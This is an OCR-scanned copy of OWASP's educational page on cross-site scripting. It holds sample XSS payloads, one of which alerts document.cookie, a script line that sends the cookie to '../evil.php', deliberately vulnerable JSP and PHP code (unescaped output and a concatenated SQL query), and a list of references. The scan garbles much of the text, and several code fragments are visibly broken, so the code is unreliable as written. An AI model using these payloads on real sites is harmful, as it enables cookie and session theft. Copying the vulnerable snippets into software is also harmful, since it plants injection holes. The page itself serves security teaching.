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OWASP Attack Category: Cross-site Scripting (XSS)

a OWASP

The Open Web Application Security Project

The Open Web Application Security Project (OWASP) is a worldwide free and open community focused

on improving the secunty of application software. Our mission is to make application security "visible,”

so that people and organizations can make informed decisions about application security nsks. Every-
one is free to participate in OWASP and all of our materials are available under a free and open software
license. The OWASP Foundation is a 501¢3 not-for-profit charitable organization that ensures the ongoing
availability and support for our work.
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<body onload=alert('testl')>
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<b onmouseover=alert ('Wufff!')>click me!</b>

img src="http://url.to.file.which/not.exist" >
<;onerror=alert (document.cookie)
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<% String eid = request.getParameter ("eid"),; %>

Employee ID: <%= eid %>
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<%
Statement stmt = conn.createStatement ();
ResultSet rs = stmt.executeQuery("select * from emp where

id="+eid);
if (rs != null) {
rs.next () ;

String name = rs.getString("name");

o\

>

Employee Name: <%= name %>
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<SCRIPT type="text/Jjavascript">
var adr = '../evil.php?cakemonster=' + escape (document.cookie);

</SCRIPT>
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<html>
<body>
<? php
print "Not found: " . urldecode ($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
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Not found: /file_which_not_exist
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http://testsite.test/<script>alert ("TEST");</script>
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Not found: / (but with JavaScript code
<script>alert ("TEST"); </script>)
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XSS Attacks
Category:Injection Attack
Invoking untrusted mobile code
Cross Site History Manipulation (XSHM)

alino 5l (53054 ol
Category:Input Validation Vulnerability
Cross Site Scripting Flaw

Types of Cross-Site Scripting
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&lw
OWASP's XSS (Cross Site Scripting) Prevention Cheat Sheet
OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation
OWASP Testing Guide, Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)
OWASP Testing Guide, Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)
OWASP Testing Guide, Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)

OWASP's How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's
Stinger)

Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS

The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml

OWASP XSS Filter Evasion Cheat Sheet

CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html

CERT “Understanding Malicious Content Mitigation”

http://www.cert.org/tech_tips/malicious_code_mitigation.html

Understanding the cause and effect of CSS Vulnerabilities:

http://www.technicalinfo.net/papers/CSS.html

XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites

http://www.xssed.com
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